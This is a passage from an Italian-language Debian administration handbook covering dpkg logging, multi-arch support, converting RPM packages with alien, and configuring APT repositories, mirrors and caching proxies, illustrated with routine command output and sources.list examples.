dpkg mantiene un registro di tutte le proprie azioni in /var/log/dpkg.log. Questo registro è estremamente prolisso, dal momento che contiene dettagli di ciascun stato attraverso cui passano i pacchetti gestiti da dpkg. Oltre a offrire un modo per tenere traccia del comportamento di dpkg, ciò aiuta, soprattutto, a mantenere una cronologia dello sviluppo del sistema: si può trovare il momento esatto in cui ciascun pacchetto è stato installato o aggiornato e queste informazioni possono essere estremamente utili nel comprendere un recente cambiamento di comportamento. Inoltre, siccome tutte le versioni sono registrate, è facile incrociare queste informazioni con il changelog.Debian.gz dei pacchetti in questione o anche con le segnalazioni di bug online.

5.4.5. Supporto Multi-Arch

Tutti i pacchetti Debian hanno un campo Architecture nelle loro informazioni di controllo. Questo campo può contenere il valore "tutti" in inglese: “all” (per i pacchetti indipendenti dalle architetture) oppure il nome dell'architettura per la quale è compilato il pacchetto (come “amd64”, “armhf”, …). In quest'ultimo caso, per impostazione predefinita, dpkg accetterà di installare il pacchetto solo se la sua architettura corrisponde a quella dell'host (la macchina su cui si sta facendo l'installazione) come restituito da dpkg --print-architecture.

Questa restrizione assicura che gli utenti non finiscano con binari compilati per un'architettura sbagliata. Tutto sarebbe perfetto, se non fosse che (alcuni) i computer possono eseguire binari per architetture multiple, sia nativamente (un sistema "amd64" può eseguire binari "i386") che attraverso emulatori.

5.4.5.1. Abilitazione Multi-Arch

Il supporto multi-arch di dpkg consente agli utenti di definire le "architetture esterne" che possono essere installate sul sistema corrente. Questo può essere fatto semplicemente con dpkg --add-architecture come nell'esempio qui sotto. C'è un comando corrispondente per rimuovere il supporto ad un'architettura esterna che è dpkg --remove-architecture, ma può essere utilizzato solo quando non rimangono pacchetti di questa architettura.

# dpkg --print-architecture amd64 # dpkg --print-foreign-architectures # dpkg -i gcc-9-base_9.3.0-22_armhf.deb dpkg: error processing archive gcc-9-base_9.3.0-22_armhf.deb (--install): package architecture (armhf) does not match system (amd64) Errors were encountered while processing: gcc-9-base_9.3.0-22_armhf.deb # dpkg --add-architecture armhf # dpkg --add-architecture armel # dpkg --print-foreign-architectures armhf armel # dpkg -i gcc-9-base_9.3.0-22_armhf.deb (Reading database ... 456367 files and directories currently installed.) Preparing to unpack gcc-9-base_9.3.0-22_armhf.deb ... Unpacking gcc-9-base:armhf (9.3.0-22) ... Setting up gcc-9-base:armhf (9.3.0-22) ... # dpkg --remove-architecture armhf dpkg: error: cannot remove architecture 'armhf' currently in use by the database # dpkg --remove-architecture armel # dpkg --print-foreign-architectures armhf

NOTA Supporto multi-arch di APT

APT rileverà automaticamente quando dpkg è stato configurato per supportare architetture differenti ed inizierà a scaricare i corrispondenti file dei Pacchetti durante il suo processo di aggiornamento.

I pacchetti esterni possono essere installati con apt install pacchetto:architettura.

IN PRATICA Uso dei binari proprietari i386 su amd64

Ci sono diversi casi di utilizzo di multi-arch, ma il più popolare è la possibilità di eseguire binari (talvolta proprietari) a 32 bit (i386) su sistemi a 64 bit (amd64), e la possibilità di cross-compilare software per una piattaforma o un'architettura diversa da quella ospitante.

5.4.5.2. Variazioni Relative a Multi-Arch

Per rendere multi-arch realmente utile ed utilizzabile, le librerie sono state riassemblate e spostate in una directory specifica per l'architettura in modo che possano essere installate, contemporaneamente, più copie (specifiche per diverse architetture). Tali pacchetti aggiornati contengono il campo header “Multi-Arch: same” per dire al sistema dei pacchetti che le varie architetture possono essere installate, insieme, in sicurezza (e che quei pacchetti possono soddisfare in modo sicuro solo le dipendenze dei pacchetti della stessa architettura). Le librerie più importanti sono state convertite dall'introduzione di multi-arch in Debian 7 Wheezy, ma ci sono molte librerie che, probabilmente, non saranno mai convertite a meno che qualcuno non lo richieda specificamente (per esempio attraverso una segnalazione di bug).

$ dpkg -s gcc-9-base dpkg-query: error: --status needs a valid package name but 'gcc-9-base' is not: ambiguous package name 'gcc-9-base' with more than one installed instance Use --help for help about querying packages. $ dpkg -s gcc-9-base:amd64 gcc-9-base:armhf | grep ^Multi Multi-Arch: same Multi-Arch: same $ dpkg -L libgcc-s1:amd64 |grep .so /lib/x86_64-linux-gnu/libgcc_s.so.1 $ dpkg -S /usr/share/doc/gcc-9-base/copyright gcc-9-base:amd64, gcc-9-base:armhf: /usr/share/doc/gcc-9-base/copyright

Vale la pena notare che i pacchetti Multi-Arch: same devono avere i nomi che identificano le loro architetture per essere identificati senza ambiguità. Essi hanno anche la possibilità di condividere i file con altre istanze dello stesso pacchetto; dpkg assicura che tutti i pacchetti abbiano dei file identici bit-per-bit quando sono condivisi. Infine, tutte le istanze di un pacchetto devono avere la stessa versione. Essi devono quindi essere aggiornati insieme.

Il supporto multi-Arch porta con sé anche alcune sfide interessanti nel modo in cui sono gestite le dipendenze. Soddisfare una dipendenza richiede o un pacchetto contrassegnato come “Multi-Arch: foreign” o un pacchetto la cui architettura corrisponde a quella del pacchetto del quale dichiara la dipendenza (in questo processo di risoluzione delle dipendenze, i pacchetti architettura-indipendenti si presume che siano della stessa architettura dell'host). Una dipendenza può anche essere indebolita per consentire a qualsiasi architettura di soddisfarla, con la sintassi package:any, ma i pacchetti esterni sono in grado di soddisfarla solo se sono contrassegnati come “Multi-Arch: allowed”.

5.5. Coesistenza con Altri Sistemi di Pacchetti

I pacchetti Debian non sono gli unici pacchetti software usati nel monto del software libero. Il concorrente principale è il formato RPM di Red Hat Linux e le sue molte derivate. Red Hat è una distribuzione commerciale molto popolare. È comune che il software fornito da terze parti sia offerto come pacchetti RPM invece che Debian.

In questo caso, si deve sapere che il programma rpm, che gestisce pacchetti RPM, è disponibile come pacchetto Debian, così è possibile usare questo formato di pacchetti su Debian. Si dovrebbe fare attenzione, comunque, a limitare queste manipolazioni all'estrazione di informazioni da un pacchetto o alla verifica della sua integrità. In realtà non è ragionevole usare rpm per installare un RPM su un sistema Debian; RPM usa un proprio database, separato da quello del software nativo (come dpkg). Questo è il motivo per cui non è possibile assicurare una coesistenza stabile dei due sistemi di pacchetti.

D'altra parte, l'utilità alien può convertire pacchetti RPM in pacchetti Debian e viceversa.

COMUNITÀ Incoraggiare l'adozione di .deb

Se utilizzate regolarmente il programma alien per installare pacchetti RPM provenienti da uno dei vostri fornitori, non esitate a scrivergli esprimendo, amichevolmente, la vostra preferenza per il formato .deb. Si noti che il formato del pacchetto non è tutto: un pacchetto .deb costruito con alien o preparato per una versione di Debian diversa da quella in uso, o anche per una distribuzione derivata come Ubuntu, potrebbe non offrirebbe lo stesso livello di qualità ed integrazione di un pacchetto sviluppato specificamente per Debian Bullseye.

$ fakeroot alien --to-deb phpMyAdmin-5.1.1-2.fc35.noarch.rpm [..] Warning: Skipping conversion of scripts in package phpMyAdmin: postinst Warning: Use the --scripts parameter to include the scripts. [..] phpmyadmin_5.1.1-3_all.deb generated $ ls -sh phpmyadmin_5.1.1-3_all.deb 6,0M phpmyadmin_5.1.1-3_all.deb $ dpkg -c phpmyadmin_5.1.1-3_all.deb drwxr-xr-x root/root 0 2021-08-09 02:02 ./ drwxr-xr-x root/root 0 2021-08-09 02:02 ./etc/ drwxr-xr-x root/root 0 2021-08-09 02:02 ./etc/httpd/ drwxr-xr-x root/root 0 2021-08-09 02:02 ./etc/httpd/conf.d/ -rw-r--r-- root/root 1181 2021-07-27 09:32 ./etc/httpd/conf.d/phpMyAdmin.conf drwxr-xr-x root/root 0 2021-08-09 02:02 ./etc/nginx/ drwxr-xr-x root/root 0 2021-08-09 02:02 ./etc/nginx/default.d/ -rw-r--r-- root/root 430 2021-07-27 09:32 ./etc/nginx/default.d/phpMyAdmin.conf drwxr-x--- root/root 0 2021-08-09 02:02 ./etc/phpMyAdmin/ -rw-r----- root/root 4546 2021-07-27 09:34 ./etc/phpMyAdmin/config.inc.php drwxr-xr-x root/root 0 2021-08-09 02:02 ./usr/ drwxr-xr-x root/root 0 2021-08-09 02:02 ./usr/share/ drwxr-xr-x root/root 0 2021-08-09 02:02 ./usr/share/doc/ drwxr-xr-x root/root 0 2021-08-09 02:02 ./usr/share/doc/phpMyAdmin/ [..] $ dpkg -I phpmyadmin_5.1.1-3_all.deb new Debian package, version 2.0. size 6195324 bytes: control archive=44444 bytes. 102 bytes, 3 lines conffiles 593 bytes, 15 lines control 180405 bytes, 1919 lines md5sums 448 bytes, 11 lines * postinst #!/bin/sh Package: phpmyadmin Version: 5.1.1-3 Architecture: all Maintainer: Daniel Leidert <dleidert@debian.org> Installed-Size: 40693 Section: alien Priority: extra Description: A web interface for MySQL and MariaDB phpMyAdmin is a tool written in PHP intended to handle the administration of MySQL over the Web. Currently it can create and drop databases, create/drop/alter tables, delete/edit/add fields, execute any SQL statement, manage keys on fields, manage privileges,export data into various formats and is available in 50 languages . (Converted from a rpm package by alien version 8.95.4.)

Questo procedimento è estremamente semplice. Si deve sapere, però, che il pacchetto generato non ha alcuna informazione sulle dipendenze, dal momento che le dipendenze nei due formati di pacchetti non hanno una corrispondenza sistematica. L'amministratore, perciò, deve assicurare manualmente che il pacchetto convertito funzioni correttamente e questo è il motivo per cui i pacchetti Debian generati in questo modo dovrebbe essere evitati il più possibile. Fortunatamente, Debian ha la più grande raccolta di pacchetti software rispetto a tutte le distribuzioni ed è probabile che qualunque cosa si cerchi ci sia già.

Guardando la pagina di manuale per il comando alien, si noterà che questo programma gestisce anche altri formati di pacchetti, specificamente quello della distribuzione Slackware (è composto da un semplice archivio tar.gz).

La stabilità del software installato usando lo strumento dpkg contribuisce alla fama di Debian. La suite di strumenti APT, descritta nel capitolo seguente, mantiene questo vantaggio, sollevando l'amministratore dal gestire lo stato dei pacchetti, un compito necessario, ma difficile.

Capitolo 6. Manutenzione ed aggiornamento: gli strumenti APT

Ciò che rende così popolare Debian tra gli amministratori è la facilità con cui il software può essere installato e la facilità con cui l'intero sistema può essere aggiornato. Questo vantaggio è dovuto in gran parte al programma APT, che gli amministratori di Falcot Corp hanno studiato con entusiasmo.

APT è l'abbreviazione di Advanced Packaging Tool (Strumento avanzato per i pacchetti). Ciò che rende questo programma "avanzato" è il suo approccio ai pacchetti. Non li valuta singolarmente ma li considera nel loro insieme, producendo la migliore combinazione possibile in base a ciò che è disponibile e compatibile ed in funzione delle dipendenze.

VOCABOLARIO Sorgente di un pacchetto e pacchetto sorgente

La parola sorgente può essere ambigua. Un "pacchetto sorgente", un pacchetto contenente il codice sorgente di un programma, non dev'essere confuso con la "sorgente o fonte di un pacchetto", un archivio (sito web, server FTP, CD-ROM, cartella locale, ecc.) nel quale sono contenuti i pacchetti.

APT ha bisogno di ricevere una "lista di sorgenti dei pacchetti (repository)": il file /etc/apt/sources.list elencherà i diversi repository che pubblicano i pacchetti Debian. APT importerà la lista dei pacchetti pubblicati da ciascuna di queste fonti. Questo risultato si ottiene scaricando i file Packages.xz o una variante come Packages.gz o .bz2 (che usa un diverso metodo di compressione) nel caso di una fonte di pacchetti binari e analizzando il loro contenuto. Nel caso di un'origine di pacchetti sorgente, APT scarica i file Sources.xz o una variante che utilizza un metodo di compressione diverso. Quando una vecchia copia di questi file è già presente, APT può aggiornarla scaricando solo le differenze (vedere SUGGERIMENTO Aggiornamento incrementale).

FONDAMENTALE Compressione gzip, bzip2, LZMA e XZ

L'estensione .gz si riferisce ad un file compresso con lo strumento gzip. gzip è lo strumento Unix tradizionale, veloce ed efficiente per la compressione di file. I nuovi strumenti consentono di ottenere migliori tassi di compressione, ma richiedono più risorse (tempo di calcolo e memoria) per comprimere un file. Tra questi, in ordine di apparizione, ci sono bzip2 (che genera file con estensione .bz2), lzma (che genera file con estensione .lzma) e xz (che genera file con estensione .xz).

6.1. Compilazione del file sources.list

6.1.1. Sintassi

Ogni linea attiva nel file /etc/apt/sources.list rappresenta una sorgente di pacchetti (repository) ed è composta da almeno tre parti separate da spazi. Per una descrizione completa del formato del file e delle composizioni accettate, vedere sources.list(5).

Esempio 6.1. Esempio di formato voce in /etc/apt/sources.list

deb url distribuzione componente1 componente2 componente3 [..] componenteX deb-src url distribuzione componente1 componente2 componente3 [..] componenteX

Il primo campo indica il tipo di sorgente:

deb

sorgente pacchetti (repository) di pacchetti binari

deb-src

sorgente pacchetti (repository) di pacchetti sorgente

Il secondo campo fornisce l'URL di base del sorgente. Combinato con i nomi dei file presenti all'interno di Packages.xz, deve dare un URL completo e valido. Questo può essere composta da un mirror Debian od un qualsiasi altro archivio di pacchetti creato da terzi. L'URL può iniziare con file:// per indicare una risorsa locale installata nella gerarchia dei file di sistema, con http:// o https:// per indicare una risorsa accessibile su un server web oppure con ftp:// o ftps:// per una risorsa disponibile su un server FTP. L'URL può anche iniziare con cdrom: per installazioni basate su dischi CD-ROM/DVD/Blu-ray, sebbene meno frequenti, poichè le installazione di rete sono sempre più comuni. Altri metodi come ssh:// o tor+http(s):// sono supportati e descritti in sources.list(5) o nella rispettiva documentazione del pacchetto apt-transport-metodo.

La sintassi dell'ultimo campo dipende dalla struttura del repository. Nel caso più semplice, basterà indicare una sottodirectory (con una barra finale obbligatoria) della fonte desiderata. Spesso è un semplice "./" che si riferisce all'assenza di una sottodirectory. I pacchetti sono quindi direttamente all'URL specificato. Ma nel caso più comune, i repository saranno strutturati come un mirror Debian, con più distribuzioni, ciascuna con più componenti. In questi casi, denominare la distribuzione scelta con il suo "nome in codice" — vedere la lista nel riquadro COMUNITÀ Bruce Perens, un leader controverso — o con la corrispondente "suite" ((oldoldstable,oldstable, stable, testing, unstable) seguito dai componenti da abilitare. Un tipico mirror Debian fornisce i componenti main, contrib e non-free.

VOCABOLARIO Gli archivi main, contrib e non-free

Debian usa tre componenti per differenziare i pacchetti in base alle licenze scelte dagli autori di ciascun lavoro. Main raccoglie tutti i pacchetti che rispettano pienamente le Linee Guida Debian per il Software Libero.

Il componente non-free è diverso perché contiene software che non è (pienamente) conforme a questi principi ma che può, nonostante ciò, essere distribuito senza restrizioni. Questo archivio, che non fa ufficialmente parte di Debian, è un servizio per gli utenti che potrebbero aver bisogno di alcuni di questi programmi e, al giorno d'oggi, anche del firmware per il loro hardware. Tuttavia, Debian raccomanda sempre di dare priorità al software libero. L'esistenza di questo componente rappresenta, per Richard M. Stallman, un problema considerevole e fa sì che la Free Software Foundation non raccomandi Debian agli utenti.

Contrib (contributi) è un insieme di software open source che non può funzionare senza alcuni elementi non liberi — questi elementi possono essere software della sezione non-free, oppure file non liberi come le ROM di giochi, BIOS di console, ecc. — o alcuni elementi, non disponibili dall'archivio Debian main. Il componente Contrib include anche il software libero la cui compilazione richiede elementi proprietari. Questo è stato inizialmente il caso della suite per l'ufficio OpenOffice.org, che richiedeva un ambiente Java proprietario.

SUGGERIMENTO File in /etc/apt/sources.list.d/

Se si fa riferimento a molte sorgenti di pacchetti, può essere utile dividerle in più file. Ogni parte viene quindi conservata in /etc/apt/sources.list.d/nomefile.list (vedere il riquadro FONDAMENTALE Directory terminanti in .d).

Le voci cdrom descrivono i CD/DVD-ROM che si possiedono. Contrariamente alle altre voci un CD-ROM non è sempre disponibile in quanto deve essere inserito nell'unità e dato che può essere letto solo un disco alla volta. Per questi motivi, queste sorgenti sono gestite in maniera leggermente differente e devono essere aggiunte con il programma apt-cdrom, solitamente eseguito con il parametro add. Quest'ultimo chiederà di inserire il disco nel lettore e cercherà nel contenuto alla ricerca dei file Packages. Questi file saranno usati per aggiornare il database dei pacchetti disponibili (questa operazione di norma è fatta dal comando apt update). Da quel momento in poi, APT può richiedere di inserire il disco se avrà bisogno di uno dei suoi pacchetti.

6.1.2. Repository per gli utenti di Stable

Questo è un sources.list per un sistema che utilizza la versione Stable di Debian:

Esempio 6.2. File /etc/apt/sources.list per gli utenti di Debian Stable

# Security updates deb http://security.debian.org/ bullseye-security main contrib non-free deb-src http://security.debian.org/ bullseye-security main contrib non-free ## Debian mirror # Base repository deb https://deb.debian.org/debian bullseye main contrib non-free deb-src https://deb.debian.org/debian bullseye main contrib non-free # Stable updates deb https://deb.debian.org/debian bullseye-updates main contrib non-free deb-src https://deb.debian.org/debian bullseye-updates main contrib non-free # Stable backports deb https://deb.debian.org/debian bullseye-backports main contrib non-free deb-src https://deb.debian.org/debian bullseye-backports main contrib non-free

Questo file elenca tutte le fonti dei pacchetti associati alla versione Bullseye di Debian (l'attuale suite Stable al momento in cui scriviamo). Nell'esempio sopra, abbiamo scelto di utilizzare esplicitamente "bullseye" invece dei corrispondenti alias "stable" (stable, stable-updates, stable-backports) perché non vogliamo che la distribuzione sottostante venga modificata a nostra insaputa quando uscirà la prossima versione stabile.

La maggior parte di pacchetti proviene dall'"archivio di base", che contiene tutti i pacchetti ma che viene aggiornato di rado (circa una volta ogni 2 mesi per un "rilascio minore"). Gli altri archivi sono parziali (non contengono tutti i pacchetti) e possono ospitare aggiornamenti (pacchetti con versioni più recenti) che APT può installare. Le sezioni seguenti spiegheranno lo scopo e le regole che disciplinano ciascuno di questi archivi.

Notare che, quando la versione desiderata di un pacchetto è disponibile su diversi repository, verrà usato quello elencato per primo nel file sources.list. Per questa ragione, le sorgenti non ufficiali vengono solitamente aggiunte alla fine del file.

Notare anche che la maggior parte di ciò che questa sezione dice riguardo a Stable vale allo stesso modo per Oldstable, dato che quest'ultima non è altro che una più vecchia versione Stable che viene mantenuta in parallelo.

6.1.2.1. Aggiornamenti di sicurezza

Debian prende sul serio la sicurezza. Le vulnerabilità software note in Debian vengono monitorate nel Security Bug Tracker e di solito vengono corrette in un lasso di tempo ragionevole. Gli aggiornamenti di sicurezza non vengono ospitati sulla solita rete di mirror Debian ma in security.debian.org (un piccolo insieme di macchine mantenute dai Debian System Administrator). Questo archivio contiene aggiornamenti di sicurezza preparati dal Team di Sicurezza Debian e/o dai manutentori di pacchetti per la distribuzione Stable e Oldstable.

Il server può anche ospitare aggiornamenti di sicurezza per Testing, ma ciò non accade molto spesso dato che questi aggiornamenti tendono a raggiungere tale suite attraverso il regolare flusso di aggiornamenti che proviene da Unstable.

Per problemi gravi, il team di sicurezza rilascia un Debian Security Advisory (DSA) e lo annuncia insieme all'aggiornamento della sicurezza sulla mailing list <debian-security-announce@lists.debian.org> (archive).

6.1.2.2. Aggiornamenti di Stable

Gli aggiornamenti di Stable non sono relativi alla sicurezza, ma vengono considerati sufficientemente importanti da essere passati agli utenti prima del successivo rilascio minore di stable.

Questo repository contiene tipicamente correzioni di bug critici e gravi che non è stato possibile risolvere prima del rilascio o che sono stati introdotti da aggiornamenti successivi. A seconda dell'urgenza, può anche contenere aggiornamenti per pacchetti che devono evolvere nel tempo, come le regole di rilevamento dello spam di spamassassin, il database dei virus di clamav, le regole dell'ora legale di tutti i fusi orari (tzdata), la versione ESR di Firefox (firefox-esr) o i portachiavi crittografici come debian-archive-keyring.

In pratica, questo repository è un sottoinsieme del repository proposed-updates, accuratamente selezionato dal team Stable Release Manager. Tutti gli aggiornamenti sono annunciati nella mailing list <debian-stable-announce@lists.debian.org> (archive) e saranno comunque inclusi nel successivo aggiornamento minore della Stable.

6.1.2.3. Aggiornamenti proposti

Una volta pubblicata, la distribuzione Stable viene aggiornata solo ogni 2 mesi circa. Il repository proposed-updates è il luogo in cui gli aggiornamenti pianificati vengono preparati (sotto la supervisione dei Stable Release Manager).

Gli aggiornamenti di sicurezza e quelli di stable documentati nelle sezioni precedenti sono sempre inclusi in questo repository, ma c'è anche di più, perché i manutentori di pacchetti hanno anche l'opportunità di risolvere importanti bug che non meritano un rilascio immediato.

Chiunque può usare questo repository per testare tali aggiornamenti prima della loro pubblicazione ufficiale. L'esempio che segue usa l'alias bullseye-proposed-updates che è, sia più esplicito che più coerente vista anche l'esistenza di buster-proposed-updates (per gli aggiornamenti di Oldstable):

deb https://deb.debian.org/debian bullseye-proposed-updates main contrib non-free

6.1.2.4. Backport per Stable

Il repository stable-backports ospita i "backport di pacchetti". Questa espressione si riferisce ad un pacchetto di un qualche software recente che è stato ricompilato per una distribuzione più vecchia, generalmente per Stable.

Quando la distribuzione diventa un po' datata, numerosi progetti software hanno rilasciato nuove versioni che non sono integrate nell'attuale suite Stable (che è modificata solo per risolvere i problemi più critici, come quelli di sicurezza). Dal momento che le suite Testing e Unstable possono essere più rischiose, i manutentori dei pacchetti, a volte, offrono volontariamente ricompilazioni di applicazioni software recenti per Stable, che offre il vantaggio ad utenti e amministratori di sistema di limitare la potenziale instabilità di un piccolo numero di pacchetti scelti. La pagina https://backports.debian.org fornisce maggiori informazioni.

I backport da stable-backports sono creati solo per i pacchetti disponibili in Testing. Ciò assicura che tutti i backport installati saranno aggiornabili alla corrispondente versione stabile, una volta che sarà disponibile il successivo rilascio stabile di Debian.

Anche se questo repository fornisce versioni più recenti dei pacchetti, APT non le installerà a meno che non venga esplicitamente istruito per farlo (a meno che non lo si abbia già fatto per una versione precedente dello specifico backport in questione):

$ sudo apt-get install pacchetto/bullseye-backports $ sudo apt-get install -t bullseye-backports pacchetto

6.1.3. Repository per gli utenti di Testing/Unstable

Questo è un file sources.list standard per un sistema che utilizza la versione Testing o Unstable di Debian:

Esempio 6.3. File /etc/apt/sources.list per gli utenti di Debian Testing/Unstable

# Unstable deb https://deb.debian.org/debian unstable main contrib non-free deb-src https://deb.debian.org/debian unstable main contrib non-free # Testing deb https://deb.debian.org/debian testing main contrib non-free deb-src https://deb.debian.org/debian testing main contrib non-free # Testing security updates deb http://security.debian.org/ testing-security main contrib non-free deb-src http://security.debian.org/ testing-security main contrib non-free # Stable deb https://deb.debian.org/debian stable main contrib non-free deb-src https://deb.debian.org/debian stable main contrib non-free # Stable security updates deb http://security.debian.org/ stable-security main contrib non-free deb-src http://security.debian.org/ stable-security main contrib non-free

NOTA Layout dei repository di sicurezza

A partire da Debian 11 Bullseye, il nome in codice del repository che fornisce gli aggiornamenti di sicurezza è stato rinominato da nome in codice/updates in nome in codice-security per evitare confusione con nome in codice-updates (vedere Sezione 6.1.2.2, «Aggiornamenti di Stable»).

→ https://www.debian.org/releases/bullseye/amd64/release-notes/ch-information.en.html#security-archive

Con questo file sources.list, APT installerà i pacchetti dalla suite Unstable. Se questo non è ciò che si desidera, usare l'impostazione APT::Default-Release (vedere la Sezione 6.2.3, «Aggiornamento del sistema») per indicare ad APT di scegliere i pacchetti da un'altra suite (in questo caso, molto probabilmente, Testing .

Ci sono buone ragioni per includere tutti questi archivi, anche se uno solo dovrebbe essere sufficiente. Gli utenti di Testing apprezzeranno la possibilità di scegliere individualmente un particolare pacchetto da Unstable quando la versione in Testing è affetta da un bug noioso. D'altro canto, gli utenti di Unstable colpiti da regressioni inaspettate avranno la possibilità di fare il downgrade dei pacchetti alla versione in Testing (che si suppone sia funzionante).

L'inclusione di Stable è più discutibile ma, spesso, dà accesso ad alcuni pacchetti che sono stati rimossi dalle versioni di sviluppo. Assicura, inoltre, di ottenere i più recenti aggiornamenti per i pacchetti che non sono stati modificati dall'ultimo rilascio stabile.

6.1.3.1. I repository Experimental

L'archivio dei pacchetti Experimental è presente in tutti i mirror Debian, e contiene i pacchetti che non sono ancora nella distribuzione Unstable a causa della loro qualità inferiore agli standard — spesso sono versioni di sviluppo o pre-versioni (alfa, beta, candidata al rilascio...). Un pacchetto può anche essere inserito lì dopo aver subito modifiche che possono generare problemi. Il manutentore quindi cerca di scoprirli grazie all'aiuto di utenti esperti in grado di gestire problemi importanti. Dopo questa prima fase, il pacchetto viene spostato in Unstable, dove raggiunge un pubblico molto più grande e dove verrà testato in modo molto più dettagliato.

Experimental è generalmente usata dagli utenti a cui non importa rovinare il proprio sistema e ripararlo. Questa distribuzione offre la possibilità di importare un pacchetto che un utente vuol provare o utilizzare in caso di necessità. Questo è esattamente come Debian lo tratta, in quanto aggiungerlo nel file sources.list di APT non porta all'uso sistematico dei suoi pacchetti. La riga da aggiungere è:

deb https://deb.debian.org/debian experimental main contrib non-free

6.1.4. Utilizza mirror alternativi

Gli esempi di sources.list in questo capitolo fanno riferimento ai repository dei pacchetti ospitati su deb.debian.org. Questi URL ti reindirizzano a server a te vicini gestiti da Content Delivery Network (CDN) il cui ruolo principale è quello di memorizzare più copie dei file in tutto il mondo e renderli disponibili agli utenti il più velocemente possibile. Le società CDN con cui Debian lavora sono partner di Debian ed offrono, gratuitamente, i loro servizi a Debian. Sebbene nessuno di questi server sia sotto il controllo diretto di Debian, poichè l'intero archivio è validato da firme GPG, lo rende un non problema.

→ https://deb.debian.org/

Gli utenti più esigenti, non soddisfatti delle prestazioni di deb.debian.org, possono provare a cercare un mirror migliore nell'elenco dei mirror ufficiali:

→ https://www.debian.org/mirror/list

Ma quando non sai quale mirror è il migliore per te, questa lista non è di grande aiuto. Fortunatamente, Debian mantiene le voci DNS nel formato ftp. country-code.debian.org (ad esempio ftp.us.debian.org per gli Stati Uniti, ftp.fr.debian.org per la Francia, ecc.) che coprono molti paesi e che puntano a uno (o più) dei migliori mirror disponibili all'interno di quel paese.

In alternativa a deb.debian.org, c'era httpredir.debian.org. Questo servizio identificava un mirror vicino a te (tra la lista dei mirror ufficiali, usando principalmente il GeoIP) e reindirizzava le richieste di APT a quel mirror. Questo servizio è stato deprecato a causa di problemi di affidabilità e ora httpredir.debian.org fornisce lo stesso servizio basato su CDN di deb.debian.org.

6.1.5. Risorse Non Ufficiali: mentors.debian.net

Ci sono numerose fonti, non ufficiali, di pacchetti Debian create da utenti esperti che hanno ricompilato alcuni software — Ubuntu ha reso questo sistema popolare con il suo servizio Personal Package Archive (PPA) — che i programmatori mettono a disposizione di tutti, e anche da parte di sviluppatori Debian che offrono, online, anteprime dei loro pacchetti.

Il sito mentors.debian.net è interessante (anche se fornisce solo pacchetti sorgente), dal momento che raccoglie pacchetti creati dai candidati allo status di sviluppatore ufficiale Debian o da volontari che vogliono creare pacchetti Debian senza passare attraverso quel processo di integrazione. Questi pacchetti sono messi a disposizione senza alcuna garanzia sulla loro qualità; assicurarsi di verificare la loro origine ed integrità, quindi testarli prima di considerare il loro utilizzo in produzione.

COMUNITÀ I siti debian.net

Il dominio debian.net non è una risorsa ufficiale del progetto Debian. Ogni sviluppatore Debian può usare quel nome di dominio per i propri scopi. Questi siti possono contenere servizi non ufficiali (a volte siti personali) ospitati su una macchina che non appartiene al progetto e non è stata configurata da sviluppatori Debian, o anche prototipi che stanno per essere spostati su debian.org. Due ragioni possono spiegare perché questi prototipi rimangono su debian.net: o nessuno ha fatto lo sforzo necessario per trasformarli in servizi ufficiali (ospitati sul dominio debian.org e con una certa garanzia di mantenimento) o il servizio è troppo controverso per essere ufficializzato.

Installare un pacchetto significa dare i privilegi di root al suo creatore, perché può decidere i contenuti degli script di inizializzazione i quali sono lanciati sotto tale identità. I pacchetti Debian ufficiali sono creati da volontari che sono stati selezionati e vagliati e che possono mettere un sigillo ai loro pacchetti così che la loro origine e integrità possa essere controllata.

In generale, diffidare di un pacchetto di cui non si conosce l'origine e che non è ospitato su uno dei server Ufficiali Debian: valutare fino a che punto è possibile fidarsi del creatore e verificare l'integrità del pacchetto.

APPROFONDIMENTO Vecchie versioni dei pacchetti: snapshot.debian.org e archive.debian.org

Il progetto Debian rilascia frequentemente nuove versioni stabili della propria distribuzione, rendendo le vecchie versioni obsolete e non supportate (vedere Sezione 1.6, «Ciclo di vita di un rilascio»). Gli archivi appartenenti a questi rilasci vengono quindi rimossi dai mirror ufficiali, ma possono ancora essere accessibili utilizzando il servizio archive.debian.org. Si noti che questo servizio permette di accedere a qualsiasi vecchio rilascio Debian, ma non è disponibile il pacchetto sorgente per ogni pacchetto binario qui presente.

Il servizio snapshot.debian.org, introdotto nell'Aprile 2010, può essere usato per "andare indietro nel tempo" e trovare una vecchia versione, binari o sorgenti, di un pacchetto non più contenuto negli archivi Debian. Può essere usato, per esempio, per identificare quale versione di un pacchetto ha introdotto una regressione e, più concretamente, tornare indietro alla versione precedente mentre si aspetta una correzione al problema. Questo servizio non offre solo pacchetti sorgente e binari di versioni precedenti, ma anche versioni caricate dal manutentore.

6.1.6. Proxy con cache per i pacchetti Debian

Quando un'intera rete di macchine è configurata in moda da usare lo stesso server remoto per scaricare gli stessi pacchetti aggiornati, qualsiasi amministratore sa che sarebbe vantaggioso avere un proxy intermedio che agisce da cache locale per la rete (vedere il riquadro VOCABOLARIO Cache).

Si può configurare APT in modo che usi un proxy "standard" (vedere la Sezione 6.2.4, «Opzioni di configurazione» per la parte riguardante APT e la Sezione 11.6, «Proxy HTTP/FTP» per la parte proxy), ma l'ecosistema Debian offre opzioni migliori per risolvere il problema. Il software dedicato presentato in questa sezione è più intelligente di un semplice proxy con cache perché può fare affidamento sulla struttura specifica dei repository APT (per esempio sa quando singoli file sono obsoleti oppure no, e perciò regola il tempo per il quale vengono conservati).

apt-cacher e apt-cacher-ng funzionano come i normali server proxy con cache. Il file sources.list di APT resta invariato, ma APT viene configurato in modo da usarli come proxy per le richieste in uscita.

approx, invece, agisce come un server HTTP che fa da "mirror" per qualsiasi numero di repository remoti nei suoi URL di più alto livello. La mappatura tra queste directory di più alto livello e gli URL remoti dei repository viene memorizzata in /etc/approx/approx.conf:

# <name> <repository-base-url> debian https://deb.debian.org/debian security http://security.debian.org/debian-security

approx viene eseguito in modo predefinito sulla porta 9999 tramite un socket systemd e richiede che gli utenti modifichino il proprio file sources.list in modo che punti al server approx:

# Esempio di sources.list che punta ad un server locale deb http://localhost:9999/security bullseye-security main contrib non-free deb http://localhost:9999/debian bullseye main contrib non-free

6.2. I Comandi aptitude, apt-get, e apt

APT è un progetto vasto, i cui piani originali includevano un'interfaccia grafica. Si basa su una libreria che contiene l'applicazione principale e apt-get è stato il primo front-end, a riga di comando, che è stata sviluppato nell'ambito del progetto. apt è un secondo front-end a riga di comando fornito da APT che supera alcuni errori di progettazione di apt-get.

